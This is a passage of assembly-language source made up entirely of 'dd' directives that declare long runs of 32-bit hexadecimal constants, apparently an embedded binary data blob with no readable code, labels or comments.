0EDE00A4h, 3C8D775Fh dd 0B40123F6h, 0C7140537h, 0DAF04C0Ch, 98174875h, 0A84C928h dd 734DB321h, 0D8921444h, 0ED89C732h, 0F200C87Ah, 0DD812EA1h dd 2ADBC1Ah, 88556784h, 364042EBh, 1048E5B2h, 648FC1F0h dd 8A403283h, 7E08F4h, 34E3CEFCh, 0FDB3D5FFh, 3D204205h dd 28D1B461h, 0D3CC53C9h, 992200BBh, 5EF61959h, 0D917045Ch dd 0B418B340h, 0E1226A9h, 0BF1BDC56h, 800CC392h, 98AE09FCh dd 0B48E58h, 0CB2B5F7Fh, 0FBA3B129h, 5EACDE00h, 0AFF9ADC1h dd 1FD000FCh, 0B46272FDh, 49883B8h, 91CBC625h, 31F978h dd 0A28118DEh, 0DC0B26E8h, 0E47C6273h, 40D20178h, 0B547E1F0h dd 98DC4852h, 151F4500h, 5C91E578h, 619F0099h, 1C72F744h dd 4103652Eh, 8D1B7FBBh, 466833D0h, 4FC8C90h, 408C659Dh dd 2BD700E1h, 0DB4AE73Bh, 6BFE8884h, 0F7277C01h, 53023908h dd 6C94A478h, 9B1B5E00h, 818C7C69h, 730CF119h, 634E79h dd 5D9DEE00h, 58D2FEDEh, 5611A0BCh, 0E4FC3C00h, 0E12E3BD6h dd 0F8BA520Ch, 25B609Dh, 875A1576h, 2740CEE4h, 0ED00DBA1h dd 6C7C94Ch, 94DDC39h, 0D070DE85h, 48CEFC11h, 40B5BB0h dd 684C240Fh, 0BD8138h, 0AE68217Ah, 0B4580B7Fh, 0F94C2DFEh dd 92CAC0F0h, 53D7ACB2h, 0A42EC061h, 0C9D9191Ah, 0C9A86277h dd 0ABDD8090h, 0B82A8EF8h, 0E1EB09A1h, 5460A134h, 0FCBC4D4Fh dd 0BCC00B44h, 0B9866CAFh, 24511168h, 7240D04Bh, 0E92782Eh dd 0ACD68D38h, 0F6B0F4A1h, 0AECC4B9h, 74E531C2h, 0E0D454C8h dd 0A489901Fh, 6497DC01h, 0B7D7ABBBh, 0F788AC79h, 1454099Fh dd 418912C3h, 0C0C3100Bh, 24D130ACh, 92A48CD0h, 0ED580885h dd 50752EBCh, 0D7C758h, 7A0BD43Fh, 425857DDh, 2504E803h dd 0A8FFA7C9h, 0B7F1131h, 9ECA15CCh, 0C0995480h, 7114B3D1h dd 2FC2410h, 74DE529Fh, 0ED7072E3h, 8AC6F030h, 56403856h dd 4A4878h, 0CFA8797Bh, 5D6B2287h, 340B1802h, 56267472h dd 0E49B441Ch, 0F050ECCCh, 18BE7464h, 1965E94Fh, 0CC401A5Ch dd 9759387Fh, 0FBB05C10h, 1933FA00h, 0C9061217h, 44DCBC1Bh dd 0BA408886h, 54965F0Eh, 1C30567Fh, 9515A457h, 7DB58491h dd 0DEAFC34Ch, 807DD008h, 2EE51FE8h, 30B35282h, 0DB77BEFCh dd 67319000h, 0CFF49396h, 640251DDh, 9D3176D5h, 14B3C4E8h dd 0A8572F7Bh, 3F839453h, 914CD7E4h, 7D6811C4h, 31CD5118h dd 7C00EB33h, 62EE2B43h, 0F92EFCF1h, 7631D87Dh, 0E2BD7B61h dd 40D4D112h, 5138A3A5h, 6FD74503h, 0F89D6269h, 16677E43h dd 28CE4C14h, 0F600884Ch, 2F592854h, 920341Eh, 4D7FBA38h dd 4F14C052h, 221C7E62h, 610200CEh, 0AF318F56h, 444A039Bh dd 90F28C94h, 18C97B00h, 0DE266DE5h, 232AA10Fh, 71214073h dd 13FF52A4h, 54839A02h, 0E1A0F85Ch, 0C018563h, 47B3248h dd 0A8528BFBh, 0C014E1CEh, 6C29B862h, 7B2A60A8h, 0C1EC319h dd 0BB99AE2h, 0C8E5B318h, 2452A1BCh, 0ADBC6BD1h, 0D44F8C98h dd 0CA51F461h, 70338BF5h, 499EE100h, 0D88ADE4h, 12D2AF3Ah dd 0AC0B5185h, 0F78024Ch, 0F86650h, 0F43D3016h, 5516D2Ah dd 0EC1C2E07h, 6B8072AEh, 48349642h, 92807C81h, 171DC920h dd 6757CA00h, 4DC8F34Ah, 0FCEC0096h, 29B4B372h, 0CD78A256h dd 0E83B441Eh, 0E24017C0h, 0BC4C417Dh, 0CD4B802Ch, 0E37ADA9Dh dd 880E7000h, 209BA67Eh, 0E218008Eh, 2909A79Ch, 40E25776h dd 0E01BF629h, 9030F913h, 5CD738h, 2A1A6F91h, 0BBC5ABF0h dd 1E146900h, 5E7FB38Ch, 0AC41F10Ch, 0C060A5CAh, 0B0AD95D1h dd 271C2D16h, 5FC04834h, 44310724h, 628817h, 352B2A29h dd 0A40C9228h, 1084A081h, 1C570A64h, 0C2661B26h, 0D92E61E1h dd 244CD492h, 4C156A16h, 11000027h, 0FEAE8Eh, 3868A8F5h dd 815E4F9Ch, 0C95121C6h, 92E20099h, 0EB5BDCD1h, 0B7381FF4h dd 2FED8099h, 5E6001A8h, 52AD0515h, 0D0B33FF5h, 0EEC9B4FCh dd 74DDD309h, 34582384h, 997C4Dh, 0A1D58A38h, 0E2FF8209h dd 0F3693301h, 9B182B97h, 4F5C61CAh, 0CC24283Ah, 0C9016601h dd 8B62C057h, 0F8B9DCh, 0DAF70BB4h, 0F40950FBh, 0FC176090h dd 7430BA9Dh, 254E827Eh, 48C4C34Fh, 48D0D84Eh, 3D1CD4A3h dd 3B806B0Bh, 4404B429h, 0D8923A8Ch, 83E744h, 0F34C0A50h dd 0E5BC0827h, 0D32ED176h, 541340DCh, 0D803B4B2h, 2F4D62A2h dd 0CA754BC0h, 80182D58h, 0D7C0E941h, 0EEF00CBh, 8530A9ACh dd 0BAFE74A4h, 34820494h, 0AACAAF1Dh, 0C8B8A0A8h, 0F860803Ch dd 0FB016Fh, 669184E8h, 15C43B3Ch, 0A5CB3D01h, 5CECA47Eh dd 3E5E185h, 0E3E812BFh, 0B4CE071Ch, 9AD0F720h, 0D36C37h dd 77590915h, 162779C7h, 2A9C3F48h, 0E8EF3C75h, 1A00FF19h dd 0D984A1Eh, 6B9801Dh, 0F07360FBh, 0D4B429EEh, 4F667240h dd 0CF24031Eh, 0C2D4FF75h, 0C7C42DD0h, 0D0A4F624h, 0E503DE09h dd 0D89D0E6Ch, 0F8DD2E1h, 0DFCECC4Fh, 46961E0Ah, 6826EE3Bh dd 0AA6A4940h, 126CE89Bh, 94ECCD37h, 62CC0ECh, 5000E325h dd 7AFFE01h, 196F20DFh, 307578D7h, 3EB867D1h, 5FE4C9Dh dd 0C8F9097Bh, 8CA84884h, 0E094E187h, 3C10ED2Ah, 34DE6208h dd 7B0F8049h, 3ACD0906h, 0BD8A5D05h, 4CCC81FDh, 7EED0EEFh dd 27E09C90h, 0D1217350h, 2300F6B8h, 0D874D9F5h, 1DD275E4h dd 28C6ED0Eh, 40149C64h, 0D8121FF7h, 2A0F5E02h, 0C1AB3B89h dd 186CCACCh, 8A07C00h, 73B0E2D5h, 0C4E2A0B6h, 0D8DE0556h dd 5C163C38h, 2C2315BAh, 0C635F05Eh, 0DC583DFEh, 0E84A7Eh dd 94265C88h, 804B6B4Eh dd 954CE48Ch, 98651420h, 5458BCAEh, 0C40D2C24h, 0F602D104h dd 3204401Fh, 0F5F76273h, 0E4402FFDh, 88198F18h, 501B3A79h dd 89BB3680h, 97AEDE0Fh, 684E740Eh, 8B6A64D3h, 1BA8C856h dd 298FBD00h, 44075E67h, 0CE74007Dh, 4D9E1E1Ch, 5D13CF68h dd 0FC9102DEh, 203ED5C6h, 749F0370h, 2DE5A309h, 4AE4D871h dd 0BC1490EDh, 120498E8h, 0FDD21D27h, 0A0C868C4h, 0E5CA059Dh dd 0E43534E1h, 0B7036ABCh, 6F4C45C9h, 98707798h, 0E9E42534h dd 68002C6Ch, 95F59B6h, 0F036229Ah, 3493F6h, 579754EEh dd 5AE429C9h, 0C80BDC77h, 10477EE6h, 1D45E14h, 0EDF091E7h dd 40CAC682h, 0B0EFB36Ch, 0CC4C53h, 1D5A98CFh, 148696CCh dd 0F8315140h, 7F0FB856h, 26606182h, 3385DAD7h, 939FD00Eh dd 19885F4Ah, 4C468334h, 0A9539A32h, 92F70070h, 0D16EEFCDh dd 2696F493h, 0BFF01Ch, 46078C90h, 3BFDD7DCh, 44D5D049h dd 0CE341B00h, 5948384Eh, 24212298h, 999760h, 4775E1C6h dd 0E3709F8Dh, 742BC200h, 420AFD57h, 7C09051Ch, 5C48866h dd 0CC40E080h, 9A00B734h, 6051FDEh, 0EEB3E5h, 0F0CE2EE9h dd 0E6194C08h, 7BBD1A3Ch, 5605D0B3h, 90101876h, 134E2280h dd 0A2C14BFAh, 0EFBB0020h, 0B3E8E5CDh, 27AC91A2h, 401F864h dd 5DDF2BE4h, 0C3F409AFh, 0C69C0129h, 2CF54716h, 0B03379h dd 40389643h, 804A66h, 133AED1Dh, 0FBDE0408h, 0B0E9CF25h dd 19E469Ch, 0B65A7E6Ch, 22518242h, 0E3860374h, 33F5B31Ch dd 5C98EF8Ch, 524D02Dh, 94B27434h, 84EE8Ah, 0D8C6F7E2h dd 0AE80EAD4h, 3892176Ah, 1A4954Ch, 0A4693446h, 8CC8D3BAh dd 2600F480h, 6F444263h, 17E010E3h, 0A129B3h, 0D3F5F67Ch dd 16761A31h, 30FF5B00h, 0F703B47Fh, 7ADE294Fh, 0EB093E9Ch dd 44CCE978h, 0B1DE3600h, 3CAA3B20h, 0A6DF016Eh, 0ED92FB0Eh dd 306080C8h, 0F57EADC9h, 48621E75h, 0DC540BAFh, 0EDE9350Ch dd 6FE544h, 0A52A594Eh, 0E8ECCF70h, 0AA7A19C0h, 3D92715h dd 0C4868B40h, 0CFE85473h, 5D0952EDh, 64517EE7h, 90127DA4h dd 0A150325Ch, 9C84E5A9h, 0CB5B4453h, 2FE6E4C2h, 0E99970E6h dd 0B4216AF9h, 0FAF0C769h, 4CC57101h, 0C916D548h, 272CA4ECh dd 6F172003h, 0DA150A29h, 0BD2C60F9h, 69B088CFh, 3C769009h dd 0F65C68E4h, 0E3D1071Eh, 0A26BA622h, 0B8901155h, 0BAFD51B3h dd 17AE0029h, 8311A5D0h, 10E5093Bh, 0ECD9BB34h, 72804A1Fh dd 0C1E62BFBh, 86F61C60h, 0B46D40ACh, 0B33C8323h, 0FF2EAF04h dd 0FCC0C6B0h, 139DF841h, 0F5E45B9Bh, 32CBF5D8h, 5FE1C084h dd 46DDF19h, 6914B4D1h, 2DFC882Eh, 0C6FCCB01h, 55055CEEh dd 0A742E0h, 81A19630h, 0F0532AA8h, 0C9D05250h, 0F372BAE0h dd 0B362F5F4h, 4470DEE9h, 2A9D172Ch, 0D2390DAEh, 0BBD04CA0h dd 0FC866403h, 0C14F9EB0h, 8BE013EBh, 59E50040h, 0E1B2BDB9h dd 0C4980D15h, 7FCC9B02h, 465679DAh, 0FE3607DCh, 40B434E4h dd 0AB4039C1h, 0AEC9F301h, 7E504D10h, 56BC226Ah, 0C91B4F27h dd 0CC217BB0h, 44207EECh, 0CCB05E1Ch, 97525422h, 0D513B7F8h dd 204C3Bh, 7EC52Dh, 294FA709h, 6054E83Ch, 9D0AE9E4h, 80EA4DFDh dd 567FB301h, 0F2EADE1Bh, 990A0B68h, 8C19A1B4h, 844C2CCBh dd 0A528CC69h, 43A2E8A0h, 0D41D1BECh, 0B1802B02h, 0F2E640EDh dd 235C5F73h, 0D69098D8h, 5600DDA7h, 2F22A123h, 50A347h dd 0D1803E6Fh, 4CB40A0h, 51B45C1Ch, 238EB7Bh, 2B866BB8h dd 35007844h, 38733F0Ah, 24A0C3h, 2B991911h, 5A6B1E22h dd 0B44E2F7Eh, 0FF8ADC20h, 2F27A60h, 675F042Ah, 307E2BB0h dd 71259B40h, 17550503h, 3A1CF90h, 0B9F0D79Fh, 0D082BAC2h dd 0EE21E968h, 0F8704010h, 0AC6458F5h, 0E03178C0h, 0F77BD5A5h dd 300C6251h, 75895418h, 911080F5h, 6B0017ABh, 634A3D15h dd 0BC6C305h, 181AA70Bh, 402F80Bh, 1C62A98Eh, 0E101E866h dd 0BA5B73FCh, 0F02C2738h, 3A4CA96h, 0AB09E0B3h, 5A219055h dd 71574A9Bh, 2DDC004h, 0C66C625Bh, 8BDE4AF0h, 0E5B600D4h dd 80442941h, 0C6B00D2h, 54D87657h, 484C75DEh, 3145689h dd 97C21922h, 997DD0B5h, 6DB401A5h, 3633EC7h, 81A82CCFh dd 30F506AAh, 3953FCh, 7F4FD988h, 0B0EA4170h, 69B35000h dd 6AA59F29h, 0AA8CA0FEh, 914FE8FCh, 91BF6010h, 0B10055F9h dd 586B7693h, 1A4745B7h, 504B32E0h, 108388C1h, 6EE414h dd 0B276DDB9h, 64AFED18h, 4A43109Eh, 0F3C4889Ch, 0A96D00B5h dd 124F3370h, 36010D42h, 0C5D70657h, 0A5E25277h, 94D19D80h dd 62085920h, 0EC20F75Bh, 0C6A96E0h, 9B4BF866h, 9FCCA69h dd 0F0197FCh, 1BC91265h, 0C1D2DF15h, 0DE11ABDCh, 0C8203A7Bh dd 774D9975h, 5CEFFC82h, 0D488A8FCh, 0A04A5B45h, 84117C40h dd 0F03F6700h, 2D7AB7C5h, 9816F70Bh, 1E487186h, 0A5498773h dd 0B9850090h, 0F9010F9Eh, 44AB5CA3h, 0ECC4326Ah, 69FB6024h dd 4F4D557Eh, 54D491B5h, 625E20E6h, 82B5C6B2h, 7A7A2DFCh dd 35700E4h, 35627325h, 1C5C48A1h, 0CBD31A38h, 0BC404359h dd 0B2CA135Fh, 3A0321DCh, 0E857980Bh, 0F208DCB1h, 1D625204h dd 0E2C1E82Ah, 54407234h, 701BB28Eh, 40E0B4CEh, 162BF1A3h dd 8419BFE8h, 96195EC9h, 0C33D3FDh, 0C8576416h, 508A8604h dd 0C82A4BC8h, 7BE230DCh, 0B02F0300h, 9A79CF97h, 0F2EB2FB4h dd 807DD461h, 4972F72Ah, 502DC9B6h, 4466385Ah, 38217F7Eh dd 756C1656h, 0BDEC9120h, 8F9C3D52h, 7BC4C023h, 334BCC2h dd 8FE1AF45h, 4DB0BEA0h, 0D202BF3Ah, 0A6DE73E8h, 0EA68E1A2h dd 22481715h, 14F3CD08h, 31132780h, 0F6375D4h, 85580CA3h dd 4C964D69h, 170BF00h, 97F319B4h, 1A580B1Ch, 0E029E114h dd 853EB879h, 31A19075h, 7D45F1C0h, 0CF62193Ah, 10E998D2h dd 0C0E634E1h, 0A1AD5EE9h, 0B8B464E4h, 0C9B41403h, 0E0582E53h dd 205096DCh, 3EFF3268h, 35A2B201h, 0B6C49DCAh, 0D7F88A21h dd 2FBF76B0h, 50B85FEBh, 0B09C87Ah, 4169E161h, 50D29D68h dd 0DDFA1638h, 0AFAC207Bh, 0DC1855C9h, 1A805E73h, 15E8E9E9h dd 0CDE70F4h, 0B94B660Ch, 0D0007859h, 407EBE27h, 7BCF4205h dd 0EBF8027Fh, 0E43DF0D5h, 0C0007064h, 4F17BD62h, 0AF6685h dd 0B8CFB5B4h, 0D324983Ah, 0CD02BCB8h, 504F9ABAh, 2DD07126h dd 0FB016CC4h, 701B0C89h, 39205139h, 0E2290071h, 0A70DACF5h dd 20F79FE9h, 0C748DCACh, 0E53960BBh, 2E7496A6h, 1C84CA14h dd 4C76008Dh, 0ECC9B0ADh, 8423B313h, 58CCEC30h, 3A0AB83Dh dd 800FF25h, 55B43105h, 53030204h, 0D3C7CA54h, 463125F5h dd 0F120D4A1h, 0AB3FF439h, 9F0E7907h, 81BE82DFh, 8959E183h dd 0FC229438h, 9B4D2492h, 0ED487894h, 68A7DDC8h, 0C21DF8h dd 38BD9C45h, 0C579C3BFh, 0C8206EFBh, 0E85937h, 96406765h dd 0BAA1CB0Fh, 0A07AE7Ah, 9E5A4971h, 0EDA3EC91h, 601468A6h dd 9C1AB507h, 0FC243Ah, 0DBC41460h, 2EF1F2h, 1CFE511h dd 9EDC2CB7h, 6AB30C00h, 0C79B368Bh, 1303E6D9h, 44C5CC9h dd 52271A54h, 0A1004CB2h, 7CDFE4A7h, 1D000F17h, 9320FD05h dd 588B464Ch, 0CF220C23h, 0E6D5C62Fh, 740902B0h, 277669ADh dd 0E29474E1h, 0D13060E0h, 0F0ED0E2Ch, 4D836160h, 15FA3FEEh dd 9CC548EBh, 64324900h, 504C1AAFh, 47DD961h, 0A5D38C45h dd 0E3BC8554h, 0FC6A1010h, 248C10D6h, 64A0512Fh, 0B98C4797h dd 20C4B603h dd 0E801C681h, 0C4CD9FEh, 50E02E57h, 28BF13E0h, 7E00302Ch dd 0D3DA3F16h, 8431176Fh, 0C6D8023Ah, 0AE20FCD6h, 24795EB4h dd 9C8C248h, 0A8DBDC38h, 551B7F05h, 2C480C8Bh, 0DE44333Eh dd 9049034Ah, 2021011Ch, 0BFD35528h, 76045742h, 2D78A0D4h dd 4C9134EEh, 6B8C5CB4h, 0DCC8598Ch, 5CE85076h, 4D0313C7h dd 8DC031D3h, 0E9C2DECh, 4469A84Ah, 6C0FD35h, 0B82334Dh dd 5BFC1EFAh, 10E17802h, 269E4DEh, 464BF0B0h, 9F3100B0h dd 0EB1627E0h, 0A3015E03h, 0AEC21F24h, 0A4FD4789h, 884A406Ch dd 13016AE4h, 3BAD7998h, 0C3C5F66Fh, 0E5A8086Bh, 30207B44h dd 0BC8852ECh, 0AB2D0069h, 0F9CEE343h, 53487FB2h, 18FD80D0h dd 729832A9h, 733E09D3h, 4CC852B3h, 0CA038CB2h, 891D3985h dd 0C7BB90D8h, 0FDAF0EBFh, 0D32004A8h, 0F6EAE725h, 6BC8CC12h dd 53D8B001h, 1BD4AD3Ch, 2BB4134Ch, 49A48882h, 0B8043B97h dd 5BDE4001h, 0CA882071h, 38B58498h, 7A0104h, 73437116h dd 0B8F33972h, 822F6925h, 7A9CCAE4h, 197D74A0h, 0E96720BAh dd 8C32EDh, 0FFF34D4Fh, 2561906h, 841173C1h, 55772A0h dd 0C884C08h, 75237BA1h, 1C5E0015h, 262AA359h, 0A80F03CAh dd 0D2BA0FCDh, 33682C32h, 886A82D2h, 0C300D871h, 688CE2F0h dd 3C63E6Ch, 24DC7D80h, 0A585FA9Bh, 0DC5E0C24h, 0C1656F1Eh dd 106D6BACh, 7192E3C0h, 0F9078790h, 0FF78683Fh, 0CDD1ADF0h dd 0FA84AA7Eh, 52E57D20h, 0E422803Bh, 5A390C00h, 4CE3C20Bh dd 0F34F0158h, 8559686h, 0E1A42097h, 6C9C34B8h, 25D7AE94h dd 0B7987247h, 0ECA4B818h, 5BE91661h, 0CC3C1CBAh, 58C7C898h dd 5175DE12h, 78C14CA9h, 0EF21AD0Ah, 4CC3294Ah, 0F5290036h dd 1AF743D2h, 4B7EE33h, 0E340F9F8h, 4EB61CD7h, 0F181BD0Fh dd 486E8021h, 5B2D65D8h, 933B0BF9h, 0B6003C64h, 43B94833h dd 0C3754Fh, 21088BADh, 0A5ED2F05h, 2754D05Dh, 0B1EC667Eh dd 926B1078h, 52E32C04h, 0D4545E09h, 0AC110C04h, 0DC1D70C0h dd 8820B52Eh, 8F881769h, 253FF103h, 0D18E2D10h, 63C0B1CEh dd 0B4740B1Ah, 0F882F5CFh, 0CC0A3AEh, 4F259937h, 90F85166h dd 281A93BDh, 68D87930h, 14B514C4h, 81FCEE16h, 3FD4C6C8h dd 70C22C24h, 3A582A54h, 64D46145h, 1B88CED0h, 0AFD30E8Ah dd 0E4E5D22Dh, 82A4C572h, 7059C984h, 41E87614h, 0D24412F0h dd 804480E6h, 8B6E1h, 0B392FC41h, 0FF1EA8B4h, 28098332h dd 34D4093Ch, 965EF8D0h, 5C64AD6Ch, 2EA79107h, 0CF909DC1h dd 2502F7h, 30534167h, 21A25626h, 9CCE6C13h, 8058A887h dd 0B42FC9F5h, 0C7A06889h, 5CB946FCh, 554DBA84h, 65D35E47h dd 0C9D40443h, 1130B25Dh, 0C85F83D1h, 0F80172A0h, 0D62D9AC9h dd 0B4689E59h, 5321BCD0h, 579F2DE1h, 0C7596F0h, 9A9303BAh dd 0D528C770h, 0CA5420E5h, 0FC59A9A0h, 0B301658h, 0C94088h dd 684524D0h, 0E45B1142h, 92807896h, 7F030B4Dh, 0F0277083h dd 20B35E65h, 0B9F39D50h, 72F71E09h, 1E4C4A4h, 0F83080C9h dd 0FCA1417Eh, 0C3009D7Bh, 0FC256EE4h, 60D1C6CAh, 76E5A1F6h dd 0B8BC3DC9h, 0E20BA0C0h, 97285CE0h, 0EC00473Fh, 0E43DF27Fh dd 30168277h, 44E6515Ch, 0A029EE1Dh, 1D8C2880h, 0F8570F00h dd 5CE3D385h, 0C6A60737h, 707E2ABAh, 0CE0673A5h, 98A6BDF2h dd 0D403FA00h, 4CFCF42Ch, 69F562D1h, 21409ECAh, 0D055C7DCh dd 9583018h, 0F678960Eh, 588566CEh, 16C90088h, 15D7BF41h dd 0D60BAB42h, 0C4AEFBF5h, 653410C8h, 0E17C804Bh, 0B37AC0h dd 0CAB09333h, 76029A0Ah, 15D9E700h, 0ACB81611h, 5D851703h dd 0E4C430B4h, 0F801763Eh, 0E8A522E0h, 51CC7524h, 94019F6Ah dd 0FCE1CAA1h, 5C0F13E2h, 92544AE4h, 0E6C0FCA8h, 471CFF6Dh dd 6E034598h, 2DA78774h, 99C2F98Ah, 8FA8202Ah, 3005B9BBh dd 13E4667Eh, 1160F0C2h, 96C91150h, 1FAF63C8h, 0DD1303F4h dd 4E98023Ah, 0A890F650h, 0B4095E06h, 8A2412FBh, 4C64B448h dd 17E5748Ch, 89438FCh, 5E8022F8h, 0AE2FE19Bh, 0DFA1050Ah dd 0EC8E70F3h, 0E456C3ECh, 0A1990B35h, 4CFB78ECh, 615D7382h dd 287E60EFh, 4D140079h, 6A75537Bh, 0F2008A9Ch, 59637E0Dh dd 7322279Dh, 3C4D98B7h, 0BE8FEE57h, 0AAA1FAADh, 809E11B8h dd 3A4CEF10h, 1048B0Dh, 1A53E20h, 0E4D612AFh, 38C0AE2Ah dd 0F1862D1Eh, 4EE5002Eh, 71074516h, 0DB16255Ch, 3001C29Fh dd 0D8BCFDEEh, 0FF196987h, 80A31016h, 29B8EC01h, 98251331h dd 8D012139h, 61BE58h, 0EF563FBBh, 307AB32h, 5C470396h dd 5100D7BDh, 0E1CCDD97h, 18B45FA9h, 0C8EC89C2h, 0B550A8DEh dd 8D002340h, 80932959h, 32C9C5Ch, 0D31456B6h, 0BCA1551Bh dd 0F35180A5h, 5824FFC1h, 51EC00B3h, 0CEDBBD84h, 8C30648Ah dd 3F33996Bh, 0C7053ED4h, 9700FAD8h, 0D1F2CC55h, 88005201h dd 0F983E98Ch, 4B48D2Ch, 0B68E10A0h, 0C33BC05Dh, 1E019B33h dd 8CFE50B2h, 0C44290ACh, 8DBCA32Ch, 5CB900B6h, 0B7AEAB04h dd 0C6FADABFh, 0BD4C19DEh, 6004B1DDh, 0ED0C392Bh, 94003055h dd 743B4D8Fh, 0A405E2D1h, 335C00F0h, 8AF7C6BAh, 8D30B657h dd 237E51AAh, 998601CCh, 2A4233FBh, 1C5FFEBh, 0A8A9B010h dd 7FF2E84Ah, 526394Ch, 0F8C7BD58h, 0C0AFD803h, 0B46940CFh dd 5169EE5Ch, 0F7F06486h, 0A9B72660h, 9B55070Fh, 0AF2680D3h dd 1CA0D8D9h, 200725A1h, 41ADC2EDh, 148C19ECh, 0F8BCB5A6h dd 0C5D1D380h, 4E1C5C05h, 0A300E387h, 1FDA0129h, 0D06D5438h dd 31D160BBh, 5A057560h, 15627700h, 0B118F3C6h, 0CEA90198h dd 0C587AA08h, 208EC0DDh, 0B1C23430h, 38AC0AD9h, 698F2573h dd 5138BCB8h, 4200A1DCh, 9E97C401h, 0DA1320h, 32584D3Eh dd 6857CBC5h, 59C7B01Eh, 234EC902h, 0ABEC912Ah, 8EE2A411h dd 0A0E9495Eh, 62DD016Ch, 0C7FE001Eh, 4A85D61Fh, 8C90052Fh dd 0E3ADDB3Dh, 548C39h, 50A458E1h, 0C74A878h, 0B62D9001h dd 0AA5261A9h, 0DE0CFE28h, 0AE39AC91h, 0B49FBF29h, 48724E0Ch dd 0C531331Fh, 20E3AFF1h, 61195CC3h, 0AD312655h, 7ED020h dd 9FD0CB24h, 451467A6h, 0E6B51E01h, 0B08D9B1Ch, 47356980h dd 0C5F4E2BBh, 3D49143Ah, 130FF99Ch, 6903C83Ch, 0CCC422FBh dd 378C90B7h, 9A6E00B1h, 0E43C20C0h, 5200B850h, 0F09D5560h dd 2499156Ch, 43740557h, 40C042B7h, 0DA3C4B7Fh, 0C2150049h dd 0F4557258h, 22489002h, 0B403ACBFh, 204F84EFh, 1F411428h dd 3001F42Fh, 0A7D06102h, 80F0C111h, 0D3ED0110h, 3F038Eh dd 0D00F19CEh, 0D493C19Bh, 0FF67970Ch, 7E12920h, 91272154h dd 0F8DDB39Eh, 95A1DFBBh, 0EF8CE405h, 9AF0200Ch, 0E430F1h dd 0DD1A5CEDh, 0BC5F5DEBh, 971C2A00h, 0F6B0D16Ch, 8A5B0084h dd 0B79C6766h, 0FB0C389Bh, 4196F169h, 71C300F4h, 8491E8DCh dd 7A7AD903h, 3999D007h, 36B07388h, 60FF1570h, 7D9FA1E8h dd 0FA0083F8h, 9AAD22E4h, 0A0181219h, 24A6F974h, 0CDD910Bh dd 95680628h, 19841700h, 2EF03668h, 0FE74001Eh, 0E82FCCD8h dd 667A5E8Ch, 0FFDAF908h, 859F1Ah, 43987D3Dh, 0E7FAFA64h dd 229D7703h, 7F9E9461h, 31676FC1h, 1F779000h, 3B038163h dd 7838E9E2h, 196DC391h, 9110CF21h, 570370C8h, 0FA2A300h dd 210ED615h, 211962EFh, 68821F13h, 0C463A7F8h, 1BA17101h dd 55AA9B62h, 0EB21C0h, 57986551h, 0F0540ADAh, 9AA0D264h dd 173B9C21h, 0E2617BCFh dd 0B7CB10F9h, 0EBC0EE12h, 48660C03h, 0E31386Ah, 558EA00h dd 2F9A60A8h, 0E6FF7818h, 0F3BD239h, 0C353848Dh, 24706080h dd 3DEE09CAh, 65916714h, 11900D24h, 0D0E0791Dh, 848E003Dh dd 99FD5B41h, 2B50B01Eh, 11F11A7Ch, 419D6E48h, 0C0274032h dd 0B54D4A24h, 4F6FBD00h, 0C7DAAC7Ch, 0F8391DF9h, 0D7E34066h dd 783A9DF4h, 0C8304090h, 0CF925925h, 807600E1h, 64C751D5h dd 5E03D9A0h, 9883D412h, 9472F88Ah, 954502C0h, 0C1CF1B90h dd 6B9DA0A2h, 2296EA13h, 0D5201DFEh, 0C41750h, 0E012BD22h dd 0A3E161C9h, 231EE04h, 99861F81h, 0C0ADE489h, 0E6CB4241h dd 24077134h, 384D2F55h, 0A8E78F80h, 39951E6Fh, 9490D548h dd 4917B584h, 0F7B0230Dh, 0FC480C3h, 442A0060h, 61D8677Ch dd 0A98B9998h, 0C1823163h, 0D3F3D638h, 0E308C88Eh, 77C4349Eh dd 79C0D154h, 6097EC0Fh, 6F0269F0h, 0EB04C870h, 6269FA0Ch dd 18B49481h, 87792180h, 469E5347h, 1197DB05h, 0E0222119h dd 0B4DD236Dh, 0E12D05F0h, 3A1A0E00h, 299AABE4h, 699260F0h dd 5FB6DA6Ah, 0EF00D4E0h, 0B95A5716h, 62EDDFh, 0CDB8F4E1h dd 77FE312Bh, 0EC583C66h, 0F1A945E8h, 53799F12h, 0D078E40h dd 0DBA0A2h, 0ACB631CBh, 91E5C5C8h, 467BB809h, 978087D4h dd 77CE8890h, 61F31409h, 67C89C8Fh, 0F4448E60h, 5678049Eh dd 0C35D90D1h, 6FC03D4Ch, 0E0F9F5F9h, 31C03269h, 0D1468D97h dd 0FECF2487h, 80A64098h, 6A1F45F9h, 0F29811F4h, 3097CB19h dd 0CE799CEFh, 0ED0B3A32h, 7845E54h, 0D871BA97h, 88226791h dd 5D80F864h, 43C7054h, 22769BD3h, 6491E480h, 14CF8861h dd 36AD8A8h, 0A407ABB0h, 608C6238h, 1FD53D0h, 0EC211BD6h dd 0E0F6290Fh, 457B3E04h, 0F0811DE2h, 0E89FF09Ah, 6107629Ch dd 3E9DDCC3h, 0DB641BC0h, 0E9FC28FFh, 208245A4h, 78033F3Ah dd 39DD641Fh, 9D2010E2h, 0A89099h, 974B4111h, 42F0393h dd 4899EF3Eh, 0B3554062h, 0C8B84Eh, 51A59754h, 0F34F7D0Fh dd 3D589562h, 0F8180935h, 9F3BC951h, 1B5B8099h, 4B3B436Fh dd 1F2D0E5Fh, 4E0DEA23h, 618C3081h, 0FCAC8229h, 0CF186691h dd 0C69C5111h, 2EA4C100h, 7AAC6208h, 0B88701F7h, 6E9ABD0Ch dd 0B7830C2h, 3C0F8C92h, 0F2BC03DBh, 90D7DC02h, 40D892F0h dd 59AE14h, 0FCB277CDh, 0FEEFD1F5h, 12C96701h, 903BC349h dd 1109EE5h, 1905476Eh, 0C22B794Bh, 77C7C407h, 383637C7h dd 9F2C99F8h, 0B9F28232h, 0AB604C87h, 86130394h, 2004F982h dd 0BE5C29D3h, 0C3161E0h, 0B7074223h, 0B5DB11FBh, 0D8800533h dd 83AE13h, 0E9310722h, 943FE00Eh, 0A301B1Ah, 0FF4C60D8h dd 0CFE53F7Ch, 134659E0h, 1F00EC56h, 0DE7F66D9h, 6031C805h dd 2382012h, 6B364C33h, 365840F6h, 20E99F91h, 7CB11275h dd 0EBC3ED80h, 981A1417h, 0D6F1063Ch, 316C4867h, 0EB956100h dd 2AE15382h, 0D7CA03C7h, 8335459Fh, 7890F9B0h, 8062873Ah dd 0A60F84B9h, 6D6675Fh, 9DDB59FDh, 7012109Ah, 7C32012Bh dd 4298C69Eh, 0EA1C008Eh, 559D997h, 0CD4B050h, 0A59D62D1h dd 9A359821h, 44303964h, 0E8C8C71Ch, 0E8D40059h, 4248470Fh dd 7704D3D0h, 9BF01521h, 0F5675E40h, 6D5A1D5Ch, 0D30004ECh 